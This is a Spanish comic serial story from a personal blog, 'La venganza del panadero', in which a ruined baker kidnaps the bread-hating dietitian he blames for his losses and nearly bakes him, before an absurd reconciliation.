<h2>
Antonia no sabe qué hacer. Está en la puerta de la panadería de Manolo, pero desde allí no puede ver nada, la puerta evidentemente está cerrada. "¿y si el Doctor y el heavy tienen una relación oculta y eso es todo?" se pregunta Antonia "¿ y si no era Narvaez?...". Bajo el paraguas y en mitad de la calle, decide cerciorarse y se da la vuelta,camino de la consulta del Doctor.</h2>
<div>
<br /></div>
<h2>
En la panadería, Manolo disfruta cubriendo el cuerpo de su enemigo número uno con harina. Hará con él una gran barra de pan, un roscón de Reyes con sorpresita en el interior: nada mas y nada menos que un cuerpo humano chamuscado!!. "JUAS JUAS JUAS" Ríe por dentro Manolo, que nunca había matado una mosca y ahora parece un maniaco poseído por el odio, la rabia y el sinsentido.</h2>
<h2>
Narvaez despierta de nuevo, ésta vez no le importa demasiado a su raptor, pues le ha maniatado para que no se mueva. Narvaez agita su cabeza para quitarse la harina de encima, abre los ojos y escupe. Contempla la escena, ve a Manolo sonriente cubriéndole de harina. Se siente mojado. Ve el horno encendido. Capta la idea .</h2>
<h2>
Lejos de intentar convencer al panadero de que no lo haga y lo libere de inmediato llorándole y rogándole por Dios y lo que mas quiera, se siente repentinamente como en trance,siendo objeto de un acto de psicomagia.</h2>
<h2>
Narvaez, que ha leído a Jodorowsky en busca de respuestas y salidas a su perturbada y laberíntica psiquis , se siente irracionalmente feliz embadurnado de harina,preparándose para ser horneado. Él, que ha practicado todo tipo de terapias curativas, medicinales,naturales, esotéricas e incluso místicas para paliar sus problemas mentales sin éxito, habiéndose sometido a chamanes peruanos, sesiones de Biodanza, ingestas de yawuaska, dietas, meditaciones, habiendo abrazado árboles y practicado sexo en orgía comunal en el interior de un tipi...sin ningún éxito, se encuentra ahora, accidentalmente, con la Fórmula mágica que por fin le da paz: Convirtiéndose él mismo en pan, acabarán sus pesadillas, sus complejos y el martirio que sufre constantemente desde que era un bebé al ver aunque sea un piquito o colín. </h2>
<h2>
Manolo, el panadero, se extraña ante la actitud, llamémosle atípica, de su víctima. Se miran mutuamente como dos locos en pleno brote. Nadie podría asegurar quien está peor que el otro.</h2>
<h2>
Entre tanto, el taxi deja a "el Manguis" cerca del portal de la consulta de Narvaez. Paga al taxista con un billete falso conseguido en la cárcel y se queda mirando, con disimulo en una cabina de teléfonos, el coche de policía nacional que hay justo en el portal del edificio donde se dirigía, aparcado con prisas por alguna emergencia. Algo está pasando ahí. </h2>
<h2>
También ve cómo se acerca al lugar una anciana bajo un paraguas ( aunque ya ha dejado de llover) .Esa mujer resulta ser Antonia. Al Manguis se le ocurre una idea. Va al encuentro de Antonia, le ayuda a cruzar la calle y junto a ella se encamina al portal para enterarse de qué es lo que pasa y si eso que pasa tiene algo que ver con su hijo. Pero antes de llegar, Antonia no se puede callar lo que ha visto y se lo suelta al Manguis, quien le convence rápidamente de que él es detective privado y de que lleva tiempo tras el Heavy ese,gran criminal internacional. Asunto que nadie ,salvo ella, puede saber por razones de estado. Como Antonia le mira con ojos de admiración, creyendo estar ahora en medio de unas novelas policíacas (en la página 97,por ejemplo) le cree ciegamente y se hace caso del Manguis, que le quita de la cabeza el acercarse a la policía. "Éste caso lo Resolveré yo personalmente con su inestimable ayuda, honorable anciana" le dice el Manguis para camelársela. Cosa que consigue fácilmente. </h2>
<h2>
Así pues, dan media vuelta dirigiendo sus pasos hacia la Panadería.</h2>
<h2>
Allí dentro, con el ambiente ya caldeado por las altas temperaturas del horno, se encuentran nuestros dos Locos. Manolo el panadero,concentradísimo, echando sal y levadura sobre la harina que cubre el cuerpo entero de Narvaez, salvo su rostro; y el propio Narvaez , eyaculando alegría por los ojos en forma de lágrimas que inundan sus mejillas, abriéndose paso entre el polvo de harina que lo cubre dándole un aspecto de ángel, de muerto o de vampiro. </h2>
<h2>
Manolo termina de cocinar su Roscón y se dispone a introducirlo en el Horno, pero oye ruido en la puerta.</h2>
<h2>
Efectivamente, tras ella se encuentra el Manguis intentando forzarla con una ganzúa que ha improvisado con los alambres del aparato de dientes de Antonia, que ahora luce una cara bastante más fofa y arrugada.</h2>
<h2>
Lo consigue, la cerradura se abre y entran los dos, sorprendiendo a Manolo con el cuerpo de Narvaez sobre la lámina de acero a punto de introducirlo en el Horno.</h2>
<h2>
"Alto, sinverguenza!" le dice, aproximadamente, Antonia.</h2>
<h2>
"Papá!!" grita sorprendido Narvaez desde su ataud, para colmo de sus sorpresas.</h2>
<h2>
"¿qué pasa aquí?" pregunta el Manguis.</h2>
<h2>
"estoy haciendo pan" responde el Panadero.</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIOxgOx2ZokRJ0nkq2AlB5EknXcSTUFiDqf4kIgGMz7fPJNyA6D0DlfHurWJ2UcFG0a1rHLvlWK-DAdd200u3eJS5Zdj_N-5DY97Gy_tYHN-HSVGI06U7v8j4CgIJfWbN_MoK1owxv27w/s1600/LOS+CUATRO.+INTERROGACI%C3%93N..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="202" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIOxgOx2ZokRJ0nkq2AlB5EknXcSTUFiDqf4kIgGMz7fPJNyA6D0DlfHurWJ2UcFG0a1rHLvlWK-DAdd200u3eJS5Zdj_N-5DY97Gy_tYHN-HSVGI06U7v8j4CgIJfWbN_MoK1owxv27w/s320/LOS+CUATRO.+INTERROGACI%C3%93N..jpg" width="320" /></a></div>
<div>
<br /></div>
<h2>
Antonia hace retroceder a Manolo con la punta de su paraguas apuntándole a los ojos; la plancha de acero sobre la que yace tendido Narvaez,quedándose sin la sujeción de manos del panadero, cae estrepitosamente al suelo y el cuerpo del Doctor, hecho una auténtica croqueta, se revuelca sobre las baldosas. El Manguis ayuda a incorporarse a su hijo e inmediatamente le pregunta si le queda algo de aquellos doscientos cincuenta mil euros. Pero Narvaez, pletórico de ánimo, como un hombre nuevo,le abraza emocionado y le dice que le quiere, que se arrepiente de no haberle ido a ver ni una sola vez a la cárcel en todos éstos años y que perdona todas sus irresponsabilidades pasadas como padre. Ante ésta escena,inesperada por parte del resto de personajes, Antonia baja la guardia con el paraguas y Manolo corre a ponerse unos pantalones (estaba en calzoncillos).</h2>
<h2>
Narvaez, tras despacharse emocionalmente con el padre, que se queda de una pieza mientras Antonia le reclama el alambre de su aparato de dientes, se acerca a Manolo para abrazarle igualmente, fundiéndose con él y dándole las gracias por haberlo liberado del infierno psicológico en el que vivía agónicamente tras una apariencia de hombre equilibrado y sin tacha. Manolo se agarra a él con fuerza para no caerse, con una pierna dentro del pantalón,sin tocar suelo, y la otra desnuda, manteniendo el equilibrio a duras penas.</h2>
<h2>
La policía, que rastrea la zona, llega al lugar de los hechos entrando pistola en mano al estilo Tejero. </h2>
<h2>
Narvaez, supuesta víctima de secuestro, aclara el asunto de manera que sale airoso el pobre panadero, que se derrumba y llora como una magdalena ( impregnada de leche o cualquier otro líquido, porque sino...una magdalena es imposible que llore, claro).</h2>
<h2>
Tras la pseudomística explicación del Doctor - en la que hace referencia a la cabra que le dio de mamar cuando era niño, a sus trastornos alimenticios, al Horóscopo Chino, al pan nuestro de cada día y a la psicomagia del panadero (al que a partir de ahora llamará "Jodorowsky") y que ninguno de los presentes entiende, quedando claro, eso sí, que no habrá denuncia ni delito - la policía abandona la panadería sin saber ni qué decir ni qué mas preguntar. </h2>
<h2>
Antonia,viendo al pobre panadero llorar y llorar arrepentido de sus actos, a Narvaez consolándole y a su padre, el presunto detective privado, haciendo pucheros tras las tiernas palabras que le dedicó su hijo anteriormente...les invita a un café con pastas en su casa.</h2>
<div>
<br /></div>
<h2>
A partir de aquella reunión el mundo siguió igual, pero nuestros cuatro protagonistas, al menos, empezaron a sentirse mejor, mas queridos y menos solos. </h2>
<h2>
El Manguis se quedó a vivir con Narvaez un tiempo, hasta que volvió a la Cárcel para saludar a los amigos por haber robado un reloj de pared en una residencia de ancianos. </h2>
<h2>
Narvaez se apuntó a un club de senderismo donde conoció a una conductora de autobuses clarividente con la que mas tarde se casaría por el Rito Sufí.</h2>
<h2>
Manolo volvió al negocio y comenzó a irle tan bien o mejor que en el pasado (a lo que ayudó el que Narvaez aconsejase a sus pacientes que comiesen pan sin escrúpulo alguno) recuperando además su buen humor, aunque un tanto mas negro ( o turrado) a partir de entonces.</h2>
<h2>
Y Antonia...que recibía las visitas de todos ellos los Domingos por las tardes para echar un café, hablar de todo un poco, reír de ello mucho y jugar una partidita de parchís, de paso.</h2>
<h2>
<br /></h2>
<div>
<br /></div>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-6695147977883645592013-10-31T10:31:00.001-07:002013-10-31T11:04:01.275-07:00LA VENGANZA DEL PANADERO. TERCERA PARTE.<h2>
Manolo, el panadero angustiado, afila su cuchillo jamonero y lo oculta en el bolsillo interior de su chaqueta. Sale a la calle con una firme determinación.</h2>
<h2>
Dirige sus pasos hacia la consulta del Doctor Narvaez. Va vestido de heavy metal, con botas militares,pantalón negro elástico estrangula piernas, camisa negra desgastada de Iron Maiden,chupa de cuero,peluca de pelo largo,negro y rizado, y gafas de sol.</h2>
<h2>
Llueve intensamente pero eso a él no le preocupa, camina recto y veloz, como una bala. </h2>
<h2>
Está a punto de adelantar a una señora mayor que avanza encogida y temerosa con el carrito de la compra lleno y sin paraguas, pues le ha sorprendido la primera tormenta del otoño. </h2>
<h2>
Manolo no se fija en ella, la rebasa como un Ferrari a un Opel Corsa en la autovía, sin embargo dos segundos mas tarde no puede evitar oír el trágico sonido de un cuerpo contra el suelo. Mira hacia atrás por acto reflejo y ve cómo la señora está tendida en la acera. Es un contratiempo para él, pero al fin y al cabo...es una urgencia.</h2>
<h2>
Ayuda a la señora a incorporarse bajo la lluvia y la resguarda en el portal del edificio mas cercano, tras hacerlo y asegurarse de que la señora está bien, recoge kilos de naranjas y patatas esparcidas por el suelo y las echa en el carrito . En uno de los movimientos, a Manolo se le cae el cuchillo y la señora lo ve,reaccionando con cara de espanto. Manolo se disculpa como puede "voy a cortar jamón a... casa de unos amigos" le dice de manera poco convincente.</h2>
<h2>
Se despide de la señora, que ahora lo mira más como a un peligroso delincuente que como a un tierno cuarentón rockero que la ha ayudado a levantarse tan amablemente. </h2>
<h2>
Manolo sigue su camino cagándose en San Pancracio y maldiciendo la lluvia, que le está poniendo perdido.</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaA-bDp-DWBFj1p2yIKCTrnmjeXI1pTzLdwl7-mCRIxq-K5sYUdte15MlMrNCkkyaYKmubxpGW8GhJtQCyLzOUbVa7aFxg3__6d6RqVch9iOi8kG_Z_3WETVrllAs-6oyf09-ByPuixeE/s1600/Iron+Maiden.+KILLERS..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="298" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaA-bDp-DWBFj1p2yIKCTrnmjeXI1pTzLdwl7-mCRIxq-K5sYUdte15MlMrNCkkyaYKmubxpGW8GhJtQCyLzOUbVa7aFxg3__6d6RqVch9iOi8kG_Z_3WETVrllAs-6oyf09-ByPuixeE/s320/Iron+Maiden.+KILLERS..jpg" width="320" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<h2>
Gira a la derecha, sigue recto, después a la izquierda. Llega por fin al portal número 37. Llama al timbre, le abren sin preguntar. Entra, llama al ascensor, estornuda varias veces. Antes de que llegue, se forma un charco de agua bajo sus pies. Está totalmente empapado.</h2>
<h2>
Sube al 5º, se dirige a la puerta B, que está abierta. A través de un largo pasillo llega a la sala de espera,donde está sentada una chica morena muy guapa de unos 27 años, de caderas anchas y cuerpo hermoso,voluminoso y curvilíneo. Manolo se sienta en frente compadeciendo a la chica interiormente a sabiendas de que, si sigue los consejos perniciosos de Narvaez, perderá kilos,belleza y portento, convirtiéndose meses mas tarde en una bailarina de ballet clásico con esqueleto de lanzadora de martillo. </h2>
<h2>
La secretaria,con bata blanca, que trabaja para Narvaez sale de la puerta que da a la consulta y se acerca al panadero para preguntarle si ha pedido cita. Manolo le dice que no, " Hoy no habrá problema porque hay poca gente pero la próxima vez, pídala por favor" le dice la secretaria. Manolo asiente con la cabeza,goteando chorreones de agua al suelo. Pasa la chica morena al matadero. Manolo se queda solo en la sala de espera. Se frota las manos, tiene frío.Las dudas le asaltan "¿qué hago yo aquí?,¿cómo he llegado a ésto?,¿y si me cogen? ésto es una locura..." está apunto de abandonar su misión, se levanta incluso para irse, pero justo en ese momento sale la chica morena de la consulta llorando y se va . Seguro que Narvaez le acaba de poner una estricta dieta a base de jaramagos y uvas pasas,piensa Manolo,que se reafirma en su locura.</h2>
<h2>
La secretaria le indica con un gesto que ha llegado su turno. Manolo, para deshacerse de ella, le dice que en el portal del edificio hay un perro muerto y que huele fatal. La secretaria se queda boquiabierta sin saber qué decir y después reacciona "¿un perro muerto?","si, abajo, en el portal", "bajaré a mirar" y desaparece. </h2>
<h2>
Manolo aprovecha para sacar su cuchillo y entrar en el despacho de Narvaez, que aguarda ojeando unos papeles. Al levantar la mirada rutinariamente para saludar a su nuevo paciente ve cómo Manolo se abalanza sobre él, disfrazado de Heavy Metal, amenazándole con el cuchillo " levántese y sigame,sanguijuela asquerosa" le dice el panadero lleno de rabia. Narvaez obedece y baja las escaleras empujado por Manolo, que le apunta con el cuchillo tiritando de frío y casi cojeando (las botas militares que lleva puestas eran de cuando hizo la mili, le quedan pequeñas, con el frío y la lluvia han encogido aún mas y le hacen daño).</h2>
<h2>
Al llegar a la planta baja, Manolo se asegura de que la secretaria ha vuelto a subir en ascensor y presiona a Narvaez para salir rápido del portal. Lo dirige, bajo la incesante lluvia, a la panadería, pegado a él, amenazándole con clavarle el cuchillo si pide ayuda o hace algo raro (como tantas veces ha visto que hacen en las películas).</h2>
<h2>
A esa misma hora, las 17:50 de la tarde, llega un tren regional a la estación de la ciudad. Entre otros viajeros baja "El Manguis", que ha salido de prisión tras 25 años de condena y desea hacer una visita a su hijo, aquel al que crió a base de panes mojados en vino tinto , para ver si aún le queda algo de aquellos doscientos cincuenta mil euros del boleto de lotería premiado que el mismo robó al señor que compraba alcachofas en un mercadillo.</h2>
<h2>
Las 17:50 marcan también las agujas del reloj de la señora Antonia, la anciana a la que Manolo ayudó a ponerse en pié en la calle bajo la lluvia y que en ese justo momento está mirando la calle tras su ventana, viendo pasar al Doctor Narvaez,a cuya consulta ha ido en un par de ocasiones por motivo de unos ardores estomacales, con el Heavy del cuchillo pegado tras él en sospechosa postura. Antonia, fiel lectora de Ágatha Christie, enseguida compone en su detectivesco pensamiento una escena de crimen inminente, sin imaginar tan siquiera cuánto se acerca a la realidad de los hechos ese pensamiento negro suyo.</h2>
<h2>
Sale de casa con las prisas que le permiten sus cansadas piernas ,pero ésta vez no se olvida del paraguas. Va a hacer lo que siempre ha soñado: seguir a alguien sospechoso.</h2>
<div>
<br /></div>
<h2>
</h2>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-30216915852481554272013-10-30T03:22:00.000-07:002013-10-31T01:37:57.077-07:00LA VENGANZA DEL PANADERO. SEGUNDA PARTE.<h2>
Narvaez, hijo único de un acomodado carterista, conoció los retortijones de la necesidad a la tierna edad de cero años y unas horas.</h2>
<h2>
Al venir a éste mundo su madre se despidió de él en perfecta y fatal sincronía de relevo generacional. Condenado pues a ser criado por su padre,al que policías y vecinos llamaban "el manguis",la hambruna se convirtió en su hermana siamés invisible desde que nació. </h2>
<h2>
Los primeros meses mamó leche de cabra a destiempo , en pequeñas y sucias dosis sin esterilizar . Mas tarde, percatándose "el Manguis"de que su hijito ,ya con medio año, tenía el tamaño de un pepino y el grosor de un palillo, se dijo a sí mismo: "voy a alimentarle en condiciones". Así pues, cada día, al llegar de su faena callejera,delictiva y ratonil, le hacía tragarse panes enteros. Panes enteros mojados en vino tinto para atontar al niño y que no diese guerra mientras él se hacía una pajilla después en el catre, folleteaba con alguna mujer deforme o se quedaba dormido como un tronco, sin mas.</h2>
<h2>
Cuando el pequeño Narvaez cumplió los cinco años, efeméride que pasó totalmente desapercibida pues su padre no retenía en la memoria ese tipo de detalles, se habría zampado ya unos mil seiscientos veinte panes impregnados en vino tinto. Mil seiscientos veinte panes.</h2>
<h2>
El niño estaba hinchado por fuera pero casi hueco por dentro, como un kinder sorpresa, con peor aspecto y de color amarillo hepático. Su hígado tenía tantos litros bebidos como el de Lou Reed (al que deseo desde aquí, dicho sea de paso, un Perfect Day allá donde esté). </h2>
<div>
<br /></div>
<h2>
"El Manguis" , que era tonto, vago y guarro pero no ciego, detectó el problema. Sin embargo su diagnóstico fue erróneo: Pensó que el niño estaba amarillo a causa de las fiebres del crecimiento. Puesto que ya iba siendo mayorcito,dedujo que en cualquier momento rompería a leer sin ni tan siquiera ir a la escuela, por instinto. Eso era todo.</h2>
<h2>
Al pequeño Narvaez le quedaban pocos días de vida, pero un giro inesperado en la suerte de "el manguis" y una visita in extremis de los servicios sociales a la chabola donde se refugiaban padre e hijo...cambió la situación por completo, radicalmente. </h2>
<h2>
Por un lado, "el Manguis" dio el palo de su vida,en el interior de la cartera que robó a un señor ,mientras éste compraba alcachofas en un mercadillo,se hallaba un boleto de lotería premiado con doscientos cincuenta mil euros.</h2>
<h2>
Por otro, los servicios sociales le quitaron la custodia del pequeño Narvaez, que fue ingresado inmediatamente en un hospital.</h2>
<h2>
Tras su lenta pero segura recuperación ,el niño creció en un piso tutelar. Los doscientos cincuenta mil euros provenientes del boleto premiado, cuyo dueño real creyó haber perdido accidentalmente sin darle mayor importancia, recayeron en beneficio de Narvaez.</h2>
<h2>
Recuperó la salud física, el tono, el peso y el color. Mentalmente hablando... se volvió obsesivo y extremadamente maniático con el tema de la alimentación . Fue un excelente estudiante, con muy buenas notas en primaria, en secundaria, en el instituto y en la facultad de medicina, pero la procesión iba por dentro. Víctima fácil de todo tipo de trastornos alimenticios , sufrió anorexia durante varios años, harto de pasar hambre se convirtió en devorador compulsivo de la noche a la mañana dándose unos atracones de espanto, y mas tarde, arrepentido de tanto comer, contrajo bulimia, vomitando todo lo que comía y comiendo tanto como un paquidermo. </h2>
<h2>
Además de estudiar la carrera de medicina, se licenció en Ciencias y Tecnología de los Alimentos y consiguió la Diplomatura en Nutrición Humana y Dietética. </h2>
<h2>
Era el número uno en clase, siempre atento, despierto, con los ojos saltones, posado en la primera fila ávido de nuevos conocimientos como un polluelo a la espera de alimento. </h2>
<h2>
Mientras todo ésto sucedía, a su padre le crecieron canas en la cárcel, donde vivió plácidamente durante media vida haciendo méritos para reengancharse, ya que era capaz de acomodarse sin dificultad a la vida mas rastrera.</h2>
<h2>
De su hijo recibía un pan duro mojado en vinagre cada semana. </h2>
<h2>
</h2>
<h2>
Pasados los años y llegando la edad madura, Narváez, además de trabajar en un Hospital como médico especialista en Gastroenterología, ocupándose de aparatos digestivos en mal estado, montó su propia consulta privada, desde donde lanzó su agresiva campaña contra el PAN, alimento con el que tenía pesadillas todas las noches desde pequeño.</h2>
<h2>
A veces una montaña de panes de pueblo se derrumbaba sobre él aplastándole y sepultándole. En otras ocasiones se veía a sí mismo como una salchicha encerrado en un perrito sin poder salir, atrapado en una celda de bagett. Otra pesadilla era esa en la que, víctima de un secuestro, estaba sentado en una silla, atado de piernas y manos y amordazado, siendo golpeado una y otra vez con una barra de pan gigante, enorme,mastodóntica.</h2>
<h2>
Pero la peor pesadilla , con la que sufría mas, era con la del grotesco panadero que lo amasaba como si él mismo fuese masa de harina y agua. Tras la tortura del manoseo, el malvado panadero lo metía en el horno y allí ardía en los infiernos hasta salir convertido en una vulgar chapata. </h2>
<h2>
Esas pesadillas espoleaban el odio al pan que ya tenía de por sí el pobre Doctor Narvaez. Implacable y mezquino por fuera, niño hambriento y apaleado por dentro.</h2>
<div>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-C4tCVLeV03FVhZwNGUTwqXV2lf-7VEYNqR-SJ41dO-a_R8DmVEHjYZr0RJg49jdxhF-gWaCrjEwOu7DId1HUVwtQN2vGKC4_tZYruMYNy8ZBvFVHmACvya6x6d0xm4eNx_q-zB1CreM/s1600/PAN..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-C4tCVLeV03FVhZwNGUTwqXV2lf-7VEYNqR-SJ41dO-a_R8DmVEHjYZr0RJg49jdxhF-gWaCrjEwOu7DId1HUVwtQN2vGKC4_tZYruMYNy8ZBvFVHmACvya6x6d0xm4eNx_q-zB1CreM/s1600/PAN..jpg" /></a></div>
<h2>
Pero volvamos al día presente, donde la acción continúa.</h2>
<h2>
Lunes. Otoño del 2005. Centro de una pequeña ciudad que podría ser Cuenca, Albacete, Badajoz o Castellón.</h2>
<h2>
Cinco de la tarde, hora en la que el Doctor Narvaez abre su consulta privada. Llueve a cántaros.El panadero, al que llamaremos Manolo por mantener su anonimato, afila su cuchillo jamonero. Una vez afilado, lo oculta bajo su chaqueta y sale a la calle rumbo a la consulta del Doctor Narvaez.</h2>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<h2>
</h2>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-37325189205906144992013-10-28T12:15:00.001-07:002013-10-28T12:15:15.898-07:00LA VENGANZA DEL PANADERO. PRIMERA PARTE<h2>
En mi panadería cada vez entran menos clientes. No es algo nuevo, viene sucediendo desde hace ya unos años,por eso empecé a vender leche también, y huevos, y zumo, y dulces ,aparentemente caseros. Pero ante todo soy panadero, yo mismo hago el pan y me siento muy orgulloso de ello. Sin embargo, como digo...mis estanterías ya nunca se vacían y cada vez con mas tristeza, al final del día, cargo con barras,molletes y panes para arrojarlos al río.Alimento así al menos a los patos, esos animales que saben apreciar lo bueno. Lo hago con resignación,con cara de pobre hombre, que es lo que soy, en lo que me estoy convirtiendo...en un pobre hombre, víctima de esa estúpida obsesión por adelgazar que tiene la gente. </h2>
<h2>
Lo veo a diario,personas de toda la vida gruesas, de complexión corpulenta, de aspecto saludable... ahora con caras de hambre,con los mismos huesos pero sin relleno. Grandes cabezas sin riego sanguíneo, anchas espaldas huesudas,barrigas sacrificadas en pro del prepotente abdominal.</h2>
<h2>
Allá ellos.</h2>
<h2>
Dicen que lo hacen por su salud, y un huevo!, lo hacen creyendo que así están mas guapos, mas guapas...pobres infelices, cómo se dejan engañar. Si pudiese decirles lo que pienso al verles ...me dejarían de hablar. </h2>
<h2>
Pero no tienen la culpa, su visión de la realidad corporal y nutricional ha sido manipulada y distorsionada por sus dietistas.</h2>
<h2>
Malditos dietistas, los echaría a todos a los cocodrilos. Me están jodiendo la vida. Especialmente uno, el Doctor Narvaez. </h2>
<h2>
Tiene su consulta en el barrio, mi barrio de toda la vida, donde tengo la panadería, donde tenía mi casa...</h2>
<h2>
Si, la tenía, ya no la tengo. Cuando empezaron a ir mal las cosas dejé de pagar la hipoteca y me la embargaron. Ahora mal vivo en la trastienda,donde hago el pan. Me traje aquí el sofá, la cama, la tele y la cocina. Mal vivo,si, estoy todo el día de mala hostia. Yo antes no era así. Era un simpático panadero,siempre bromeando, de buen humor, amable, afable,simpático, trabajador , bonachón. Nada que ver con la persona cascarrabias y avinagrada en la que me he convertido.</h2>
<h2>
Y todo por culpa de Narvaez. </h2>
<h2>
Se que recomienda a sus pacientes,en su mayoría vecinos y ex-clientes míos, que no coman pan. Lo se, me consta,es él.</h2>
<h2>
Yo mismo, hace un par de meses, acudí a su consulta para cerciorarme de lo que ya era un secreto a voces en el vecindario. Lo hice disfrazado con peluquín y gafas de alta graduación, para que no me reconociese, pues se que sabe que se lo que hace , sabe que no me gusta nada que lo haga y,por tanto, ambos sabemos que eso nos convierte en enemigos, tácitamente.</h2>
<h2>
Tiempo atrás fue uno de mis numerosos clientes, me compraba el pan a diario. De repente dejó de venir y desde entonces ,al cruzármelo por la calle, ni me saluda. Buscando su mirada, encontraba en él una actitud altanera e insultantemente esquiva, como no queriendo rebajarse a decirme "adiós". Lo demás vino poco a poco,Narvaez empezó su particular cruzada dietética contra el pan y yo me fui quedando sin clientela. </h2>
<h2>
Qué asco me da éste Doctor!</h2>
<h2>
Fue una tarde de sábado, acodado en la barra del bar de la esquina con cara de chucho maltratado, cuando escuché por primera vez que Narvaez recomendaba no comer pan, bajo ningún concepto,para adelgazar y llevar una vida saludable. Se lo decía una señora alta y ancha que miraba con deseo el platillo de aceitunas que le habían puesto de tapa con su cerveza sin alcohol a otra señora bajita que se comía las aceitunas del platillo de dos en dos y alegremente saboreaba su CERVEZA con mayúsculas.</h2>
<h2>
Nació esa tarde mi odio hacia Narvaez. Un odio que ha ido creciendo y creciendo.</h2>
<h2>
Estuve a punto de estrangularle aquel día que,como digo, me metí en su consulta de incógnito.</h2>
<h2>
Haciéndome pasar por otro, le dije que quería cuidar mi salud y mi alimentación. Me prohibió una serie de cosas,pero ,sobre todo, hizo hincapié en las nefastas consecuencias de la ingesta de Pan. Yo lo escuchaba echando humo por las orejas y, en medio de su alegato en contra del pan que yo mismo amaso, intenté levantarme de la silla para propinarle un puñetazo en su cara de potato,sin embargo caí al suelo perdiendo el equilibrio debido al dolor de cabeza y al tremendo mareo que las gafas de culo de botella me llevaban produciendo desde hacía rato. Al caer se me descolocó el peluquín, Narvaez me reconoció y me echó de la consulta. Yo me fui de manera penosa, intentando mantener la dignidad, argumentando mis insultos hacia su persona pero...dando tumbos y chocándome contra el perchero, la papelera, la puerta y el ascensor consecutivamente.</h2>
<h2>
Con una costilla rota tras caer por las escaleras y a punto de ser fregado por la limpiadora del edificio que me miraba como a una cucaracha, juré venganza.</h2>
<h2>
Y hoy ha llegado el día de obtenerla. </h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrlxHEAZt8cGHMnUdzkYInEahQ5tfyho_Ktf-uMn3ydsTKKGYH5TyLjk70xzzUCTaQyKPvSTuKt2rttLzzvUYeP6FjFdzTea0Iy7P5MWutPlY_Qmv3vL2uHSDIXmT8RjTv6UL7SyqIaS0/s1600/lA+vENGANZA+DEL+pANADERO.+pRIMERA+pARTE..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrlxHEAZt8cGHMnUdzkYInEahQ5tfyho_Ktf-uMn3ydsTKKGYH5TyLjk70xzzUCTaQyKPvSTuKt2rttLzzvUYeP6FjFdzTea0Iy7P5MWutPlY_Qmv3vL2uHSDIXmT8RjTv6UL7SyqIaS0/s320/lA+vENGANZA+DEL+pANADERO.+pRIMERA+pARTE..jpg" width="320" /></a></div>
<div>
<br /></div>
<h2>
</h2>
<h2>
</h2>
<div>
<br /></div>
<div>
<br /></div>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0